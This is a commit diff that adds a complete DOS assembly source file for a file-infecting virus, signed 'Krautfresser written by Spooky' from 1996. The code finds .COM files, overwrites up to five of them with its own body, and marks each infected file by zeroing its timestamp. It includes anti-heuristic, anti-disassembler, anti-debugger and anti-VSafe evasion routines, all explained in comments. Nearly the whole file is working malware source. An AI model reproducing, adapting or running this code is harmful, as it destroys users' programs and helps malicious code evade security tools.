Add files via upload

2026-06-16 15:59:24 +00:00 · 2021-01-12 17:47:04 -06:00
parent dda6c7045d
commit a2f096eccc
99 changed files with 48627 additions and 0 deletions
@@ -0,0 +1,110 @@
+.model tiny
+.code
+org 100h
+
+
+start_virus:
+and al,21h
+
+mov cx,100h                     ;for tha tbav
+abc:                            ;
+loop abc                        ;
+
+                               ;anti_disassembler
+mov cx,09ebh
+mov ax,0fe05h
+jmp $-2
+add ah,03bh
+jmp $-10
+
+                                ;anti_debugger
+mov ax,3503h                    ;save int 3h in bx
+int 21h                         ;do it
+mov ah,25h                      ;set new int 3h...
+mov dx,offset new_int_3         ;...to new_int_3
+int 21h                         ;do it
+xchg bx,dx                      ;exchange bx,dx (restore original int 3h)
+int 21h                         ;do it
+
+
+                                ;anti_vsafe
+mov ax,0f9f2h
+add ax,10h
+mov dx,5935h
+add dx,10h
+mov bl,10h
+sub bl,10h
+int 16h
+
+
+
+mov ah,5eh                      ;find first
+sub ah,10h
+
+mov cx,5h                       ;5 files to infect
+push cx
+
+jmp jojo                        ;go ta jojo
+find_next:
+push cx
+mov ah,5fh                      ;find next
+sub ah,10h
+jojo:
+xor cx,cx                       ;attribut normal
+mov dx,offset star_dot_com      ;*.COM
+int 21h                         ;do it
+jb ende_virus                   ;no more filz -> ende_virus
+
+mov ax,3d02h                    ;open file
+mov dx,9eh                      ;file name
+int 21h                         ;do it
+
+mov bx,ax                       ;move file handler in bx
+
+mov ax,5700h                    ;get file time
+int 21h                         ;do it
+
+cmp cx,0000h                    ;if file time = 0 then infect it
+je prepare_for_new              ;else goto prepare_for_new file search
+
+mov ah,50h                      ;write file (infect it)
+sub ah,10h
+mov cx,offset fin - offset start_virus  ;virus size
+mov dx,offset start_virus       ;begin at start
+int 21h                         ;do it
+
+mov ax,5701h                    ;set infected file time
+mov cx,0000h                    ;to 0000
+int 21h                         ;do it
+
+mov ah,3eh                      ;close file
+int 21h                         ;do it
+
+pop cx
+push cx
+loop find_next                   ;look for tha next file to infect
+
+ende_virus:
+int 20h                         ;-> exit
+
+prepare_for_new:                ;prepare for the next file search
+mov ah,3eh                      ;close file
+int 21h                         ;do it
+pop cx
+jmp find_next                   ;goto find_next file
+
+
+new_int_3:                      ;new interrupt 3h
+mov ah,9h                       ;write string to standard output
+mov dx,offset autor             ;[easyman written by spooky]
+int 21h                         ;do it
+mov ah,00h                      ;wait until keypressed
+int 16h                         ;do it
+int 20h                         ;-> terminate debugging
+
+
+autor:  db '[Krautfresser written by Spooky]',0dh,0ah        ;copyright
+        db '       1996 Austria',0dh,0ah,'$'
+star_dot_com: db '*.com',0      ;filespec
+fin:
+end start_virus